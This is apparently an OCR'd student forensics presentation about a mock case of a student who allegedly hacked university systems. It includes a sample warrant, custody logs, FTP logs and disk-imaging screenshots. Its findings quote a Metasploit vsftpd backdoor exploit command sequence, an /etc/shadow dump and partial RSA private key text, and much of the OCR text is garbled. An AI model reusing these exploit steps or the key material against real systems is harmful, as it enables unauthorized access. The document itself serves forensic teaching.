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Executive Summary

Case: 1450145

November 15,2022

323 Dr Martin Luther King Jr Blvd
Newark, NJ 07102

Suspect: Kyle James Smith

Details: It was reported that a Kyle James Smith has been seen downloading unauthorized software on the
W]ITB club PC. Further investigation by the IT staff found that the computer was used to gain privileged access
to NJIT’s internal network to potentially steal data. The IT Department notified the department manager and
Police. Upon questioning by police, Kyle was suspended from NJIT pending the results of the investigation. A
warrant was issued by the police and notified the forensics unit who consicated the computer as evidence on
November 15,2022.



Case Correspondence

IT 330 Forensic Team
323 Dr Martin Luther King Jr Blvd
Newark, NJ 07102

Dear Forensic Team,

We have reason to believe that a student is currently using the school WiFi to conduct illegal activities. Based upon our servers,
this student has high traffic from his personal device within the student’s dorm room and also at the the school’s radio station,
WI/TB, computer.VWe would like you to conduct an investigation on this student and whether this student was involved in any

illegal activities.

The police have been notified and a search and seizure warrant has been issued. Thank you for your help in this matter.You may
contact me at jks34@hnijit.edu for further information.

Regards,
Jason Sanders - NJIT’s Head of IT Administration



Objectives

0 Determine what violations occurred using NJIT’s
Acceptable and Responsible Use Policy

1 Determine what applicable local, state, and/or federal laws
were violated



Acceptable Use

7 NJIT information assets and resources are expected to be used for NJIT
related purposes that is in regards to legal, ethical of openness and integrity
of NJIT's culture.

'] Authorized scholarly, business, research, and university-related purposes.

1 Users are responsible for all activities on the User's account or that
originate from the User's system.

1 Using only legal versions of copyrighted software in compliance with

vendor license requirements.



Unacceptable Use

Usage or disclosure of sensitive info without appropriate authorization
Using information assets to compromise user accounts
Engaging in activity that is harmful to NJIT's network and systems.

(N N O O

Harassing, threatening or otherwise harming others by:
o sending obscene, or abusive communications,
o forging counterfeit communications or identities.



Computer Use Policy

1 Guest may only use the guest assighed computers and will only have guest

[]

privileges.

Users will be responsible for legal and ethical usage of NJIT’s
tools/resources and should not be used for negative purposes.

Computer setups and configurations of the systems should not be touched
or changed. This includes installation of any software or additions of
hardware.



Violations

1 “Any violation of this policy may result in disciplinary action, as well as
civil and/or criminal action. NJIT may restrict or suspend a User’s access
to Information Assets and Resources while the alleged violations are
investigated and/or adjudicated. Disciplinary action shall be taken by the
Dean of Students Office relative to student violations, and by the
appropriate University officers relative to faculty, staff and/or university
affiliate violations.” - NJIT’s Acceptable and Responsible Use Policy,
Section Vl.Violations



Search and Seizure Warrant

AO 93 (Rev. 11/13) Search and Seizure Warrant

UNITED STATES DISTRICT COURT

for the
District of New Jersey E

In the Matter of the Search of )
(Briefly describe the property to be searched )

or identify the person by name and address) ) Case No. 1450145
Kyle Jame Smith )
Cypress Hall )
180 Bleeker Street )

Newark. NJ 07103
SEARCH AND SEIZURE WARRANT
To: Any authorized law enforcement officer

An application by a federal law enforcement officer or an attorney for the government requests the search
of the following person or property located in the ~ Campus Center at NJIT District of New Jersey

(identify the person or describe the property to be searched and give its location):
Mr. Smith is described as a white, male approximately 6 feet in height. Mr. Smith currently lives on the fourth floor, room
213A, of the Cypress building. The suspect currently dorms at Cypress Hall at the New Jersey Institute of Technology,
located at 180 Bleeker Street Newark, NJ 07103. The device used for the crime was at the WJTB radio station, located at
the fourth floor of Campus Center, located at 150 Bleeker St #1982, Newark, NJ 07102. Room number 413a.

I find that the affidavit(s), or any recorded testimony, establish probable cause to search and seize the person or property
described above, and that such search will reveal (identify the person or describe the property to be seized):
The suspect shall be arrested at their dorm room. The computer and flash drive used must also be seized in the WJTB radio
station's room.




Search and Seizure Warrant

YOU ARE COMMANDED to execute this warrant on or before November 20, 2022 (not to exceed 14 days)
# in the daytime 6:00 a.m. to 10:00 p.m.  (J at any time in the day or night because good cause has been established.

Unless delayed notice is authorized below, you must give a copy of the warrant and a receipt for the property taken to the
person from whom, or from whose premises, the property was taken, or leave the copy and receipt at the place where the
property was taken.

The officer executing this warrant, or an officer present during the execution of the warrant, must prepare an inventory
as required by law and promptly return this warrant and inventory to District Court Judge Ryan Prillson
(United States Magistrate Judge)

3 Pursuant to 18 U.S.C. § 3103a(b), I find that immediate notification may have an adverse result listed in 18 U.S.C.
§ 2705 (except for delay of trial), and authorize the officer executing this warrant to delay notice to the person who, or whose
property, will be searched or seized (check the appropriate box)

O for days (not to exceed 30) 3 until, the facts justifying, the later specific date of

Date and time issued: 11/05/2022 5:14 pm Ryan Prillson

Judge’s signature

City and state: Newark, New Jersey Ryan Prillson
Printed name and title




Search and Seizure Warrant

Return

Case No.:
1450145

Date and time warrant executed:
11/20/2022 11:03 am

Copy of warrant and inventory left with:
Jill Williams(building supervisor)

Inventory made in the presence of :
Officer James Brady ID#3141526

WJTB's computer
USB flashdrive

Inventory of the property taken and name of any person(s) seized:

Arrested suspect, Kyle James Smith, at dorm room

Certification

designated judge.

Date: 11/20/2022

I declare under penalty of perjury that this inventory is correct and was returned along with the original warrant to the

Charles Anderson

Executing officer’s signature

Charles Anderson

Printed name and title




Computer Evidence

0 Seized Gateway desktop computer

Picture of WJTB’s PC in their club room
on November 20, 2022 before it was
confiscated by Newark Police and
Forensics Investigators.




Computer Evidence Labeled

e External connections of the e Internal connections of suspect’s
suspect’s PC PC




Hard Disk Details

Image of the Hard Disk
Form generated during
labeling and dismantling of
the equipment.

[Hard Disk
| Details

|
| 2SS

& |

1450145-B

Make: Inland Premium QLC 3D NAND
Seial No: 618996727223 s 3.5"2.75”
Cylinders: N / A Heads: N / A

Sedors: N/A Jumper seting : N/A 34
Volume Label Main No of Parstions 1

pattontame 1 | OSDISK Parttion Name2 N/A

Pattion Name3 | N/A Parttion Name 4 N/A

Imaging

3m(y:=. 1 FTK Imager :'.": e P Imager Software
Softwan and Wiite blocker type

vestonomssnz) |N/A ues N/A

Tims Conecied 1 11:50am ooy Watch

Notes:

0 NA S N/A

Hash verificaton 1 not attached,

attached) Yes@ uh‘:.t: oanitbe N/A

Original Imags located on Disk No (in safe] | Disk Reference No 1234B

Backup Imagelocated on Disk No (in safe) Disk Reference No 02238K
Bzokup Imags located on Disk No (in server) | Disk Reference No 6411210
Work Digk foc oase Disk Reference No 31256FF




Chain of Custody Log

State of New Jersey Police Department

EVIDENCE CHAIN OF CUSTODY TRACKING FORM

Case Number: 1450145
Offense: Unauthorized Computer Access and Altering, deleting, or taking data
Submitting Officer: (Name/ID#) Charles Anderson ID#456612

Suspect: Ryan James Smith
Date/Time Seized: November 20, 2022
Location of Seizure: Newark, NJ

Description of Evidence

Item Quantity Description of tem (Model, Serial #, Condition, Marks, Scratches)
#
001 1 Custom PC Build, Serial #4459874, Condition: Very Good,
No marks or scratches
Chain of Custody
Item Date/Time Released by Received by Comments/Location
# [Signature & ID#) (Signature & ID#]
001 November | Officer Charles Jose Contreras Evidence
20, 2022 Anderson ID# 489326 delivered to
11:35 am ID#456612 forensics lab
001 November | Jose Contreras ID# | Jordani Jean- Conducted
25, 2022 489326 Pierre ID# 467112 | testing on
10:23 am evidence at

forensics lab




General Analysis

0 Received logs of suspicious FTP connections from |T
team.

0 Traced internal network to find the potential suspect
device.

0 Create backup image of VirtualBox image file found on
suspect PC

0 FTK Imager data acquisition on image file



Detailed Analysis
0 Images from IT Department showing multiple ftp
connections from suspect |P Address.

] 11:5 VA VA4 54711 [ftp]l OK LOGIN: Client "192.168.100.4",
ord “"IEUse
p 21 11:59:09 54691 [ftp] OK LOGIN: Client "192.168.100.4",
"IEUsere"
21 11:59:17 id 55411 CONNECT: Client "192.168.100.4"
21 11:59:17 55461 CONNECT: Client "192.168.100.4"
21 11:59:17 55481 CONNECT: Client "192.168.100.4"
126 61091 CONNECT: Client “192.168.100.4"
140 22 61611 CONNECT: Client “192.168.100.4"
140 61641 CONNECT: Client "192.168.100.4"
140 61681 CONNECT: Client “192.168.100.4"

140 61701 CONNECT: Client "192.168.100.4"
143 61671 [ftp]l OK LOGIN: Client "192.168.100.4",
passuord EUsere"
Wed Sep 61601 [ftpl OK LOGIN: Client “192.168.100.4", ano
passuor
Wed Sep ¢ 3:58:43 61631 [ftpl OK LOGIN: Client "192.168.100.4", anor
password A

62461 CONNECT: Client "“192.168.100.

62491 CONNECT: Client “192.168.100.

- 62511 : Client "192.168.100.

Sep - 2 62901 CONNECT: Client "192.168.100.

Sun Nowv 202¢ 50511 CONNECT: Client "192.168.100.




Detailed Analysis

0 Image File Location:

Information
Type (Format): Normal (VDI)
Virtual Size: 40.00 GB
Actual Size: 15.61 GB
Details: Dynamically allocated storage
Location: C:\User<fJllBVirtualBox VMs\Kali Linux\Kali Linux.vdi
Attached to: Kali Linux
Encrypted with key: --

0 VirtualBox and Kali Linux Image file found on suspect PC



Detailed Analysis

0 FTK Imager Create Image:

Create Image

Image Source

| c:\users @EVirtualBox VM \Kali Linux Kali Linux. vdi

1
Image Destination(s)

C:\Users@B \Documents \FTK Imager \Evidence File [E01]

—

~ Add OverfowLocation |

[ verify images after they are created || Precalculate Progress Statistics
[[Jcreate directory listings of all files in the image after they are created

Start Cancel



Detailed Analysis
0 FTK Imager Evidence File Tree

Evidence e is
-6 Evidence 1-Attacker Machine. E01 Nirie
Partition 1[512MB]
Partition 2 [33470MB] «cache
£-18 NONAME [extd] .config
- froot] .dbus
2 cache Jjava
¥ bl local
.msfd
B8 .bashrc

[ .bashrc FileSlack
[ .bashrc.original
D face

\j faceiicon
[&].profile

[ viminfo

D .zshrc

[ .zshre FileSlack
D .zsh_history

[7] data

D data2

T8 Unpartitioned Space [GPT]

Size

I~}

Moo DS e oo

—“wo kb EEE

Type
Directory
Directory
Directory
Directory
Directory
Directory
Regular File
File Slack
Regular File
Regular File
Symbolic Link
Regular File
Regular File
Regular File
File Slack
Regular File
Regular File
Regular File

Date Modified
10/14/2022 10:13:51 PM
10/14/2022 10:13:39 PM
10/14/2022 10:13:39 PM
10/14/2022 10:15:16 PM
10/14/2022 10:14:28 PM
11/20/2022 9:54:21 PM
9/11/2022 4:39:37 PM

9/11/2022 4:39:37 PM
9/11/2022 4:43:10 PM
9/11/2022 4:43:10 PM
7/26/2022 1:31:13 PM
11/20/2022 10:15:28 PM
11/20/2022 9:27:08 PM

11/20/2022 10:11:02 PM
11/20/2022 10:08:59 PM
11/20/2022 10:15:28 PM



Relevant Findings

0 Evidence of potential abuse of company policy, as well as
evidence of potential computer fraud.

A text file containing password hashes of company internal
systems

A text file containing the RSA Private Key used in the
companies TLS certificates.

Malware found on software called Metasploit used to exploit
company equipment.



Relevant Findings

0 Metasploit command logs found showing attacker

exploiting internal system

Name Size Type
data 4 Directory
local 4 Directory
logos 4 Directory
logs 4 Directory
oot 4 Directory
modules 4 Directory
plugins 4 Directory
store 4 Directory
history 1 Regular File

Date Modified

11/20/2022
11/20/2022
11/20/2022
11/20/2022
11/20/2022
11/20/2022
11/20/2022
11/20/2022
11/20/2022

9:45:35...
9:45:35...
O9:45:35__.
9:45:35...
9:45:35...
9:45:35...
9:45:35...
9:45:41...
10:07:4...

use exploit/unix/ftp/vsftpd 234 backdoor
show options

set REOoOST 10.0.-2.315S

set RHOSTS 10.0.2.15S

sjipw pltopms

show options

set payload acamd/unix/interact
show options

exploit

set RHOSTS 192_.168.100.6
exploit

=

exit




Relevant Findings

0 Internal Network etc/shadow file

Found on suspects PC
| File transferred to suspects PC
using FTP

root:
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:
man:*:14684:0:99999:7:
1p:%*:14684:0:99999:7::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:
uucp:*:14684:0:99999:7:
Proxy:%*:14684:0:99999:7
www—-data:*:14684:0:9999
backup:*:14684:0:99999:7
1ist:%:14684:0:99999:7:
irc:%*:14684:0:99999:7:::
gnats:%*:14684:0:99999:7
nobody:*:14684:0:99999:7 :
libuuid:!:14684:0:99999:7:::
dhcp:%:14684:0:99999:7::
syslog:%*:14684:0:99999:7:::
klog
sshd:*:14684:0:99999:7:::
msfadmin
bind:*:14685:0:99999:7:::
postfix:%:14685:0:99999:7:::
ftp:%:14685:0:99999:7:::

oo

:14747:0:99999:7:::

4742:0:99999:7:::

14742:0:99999:7:::

i :14684:0:99999:7:

postgres (NN : 1 < 655:0:99999:7:

mysqgl:!:14685:0:99999:7:::
tomcatS55:%:14691:0:99999:7:
distccd:*:14698:0:99999:7::
user

service
telnetd:%*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:%:15474:0:99999:7:::

14699:0:99999:7::
/:14715:0:99999:7::



Relevant Findings

0 RSA Private Key

Text file of the RSA Private Key
used for the TLS certificate of the
companies employee portal
website.

I File transferred to suspects PC
using FTP

Name Size Type Date Modified

[ .bashrc.original 1 Regular File 9/11/2022 4:39:37 PM

[ face 12 Regular File 9/11/2022 4:43:10 PM

[7] faceicon 1 Symbolic Link 9/11/2022 4:43:10 PM

[ profile 1 Regular File 7/26/2022 1:31:13 PM

[] wviminfo egular File :15:

[l f 0 Regular Fil 11/20/2022 10:15:28 PM

[ zshre 11 Regular File 11/20/2022 9:27:08 PM

a zshre FileSlack 2 File Slack

[] zsh_history 2 Regular File 11/20/2022 10:11:02 PM
7 data 2 Regular File 11/20/2022 10:08:59 PM

)
data2 2 Regular File 11/20/2022 10:15:28 PM

MIIEpAIBAAKCAQEAXKPgN3ry6QpASfy4UEETp00i7bYBkbY3BFAPPSsjKungAjTO
kNuBgLwvENsSsZfpbGQtH1071ipTUwSJIQmba83TyQyi5vsZkbeGAtkDLOU1+PoePO
2ujqtDTnuH2h5HXWR6JWsSS1iiYY+ABsGMOfwo0ng+/A191wV+vLtg3DYmFL3a0YAu
CO84eHzzyu2wGF+rC2iS5/MD6YNIJwaLK3RVC1TwYAgGMdChfI6gMr1IjpUblS2afdg
vX7YGXZ7J9r+bDxpPidNrKs9Mtaqg8arcVPRJu3azZ5z/8cqgcoXK8pg2WXsNENPC1v
KDSrfePifgp/tLV68v4A]jjJGi0H]stsPvgqehUQIDAQABAOIBAQCavG3LWKmbbiEh
mZukM6DwhseM]j SNw+RUUBMywl12BmHYHT2gAN511h42z0aLQ4j 9STOIWRMEQIFZmsJO
hTMNsnmuEkHRh3cHIvcx42UXSriDifgpqWOWYCCIy/Tn/ZyOfZev6QiL90xxsgld
w7ZHztCTmRnfF/LFaCKR+10cilOvD1HVGxpzX1uLmHin6SDMO+42WHYVINAOAN+V
Eg2CiUYMY2WCbFgebFoQRngkmvyvLskSBGINBc4rVXIBBVASihQdi+aZWIVsgIéed
bwY+Pw0i664jwKFUIk1QoTI1xXRyzE+FQhWIrgc6+0AT1LRzgX7Xu+COJ7DwtwecJI
OFsnWLQBAOGBAOV2w/ rQbvrgHUELplkTZFTLpJnsH18YTaMI/8cshO6CsVRHBgSM rUHYFfUdOEukH893 9wRQUYSD
5+BCef7Lqw3Zrd/ii/NEWISgHfHkvv09/tsRV6ES4HOZfkuEWTYSEfkQeLrKUu+0t
Qnt7egHk3GVMYEZ2j2r2bcfmSqGVw+3VBIHMHI17tAX0o+0dkW2 6x2Q==




Supporting Details

0 The combination of the Metasploit and NJIT’s Internal
Network log files suggest a violation company policies and
procedures.

0 The compromised files found on the suspect PC in
combination with the FTP logs indicate the act of
Computer Fraud.



Investigative Leads

0 Further investigation of other devices that the suspect
may have be in use of may determine if other potential
victims and/or criminal activity exists.

0 Further investigation of browser history on each of the
suspects devices may determine if suspect stole
information for financial gain.
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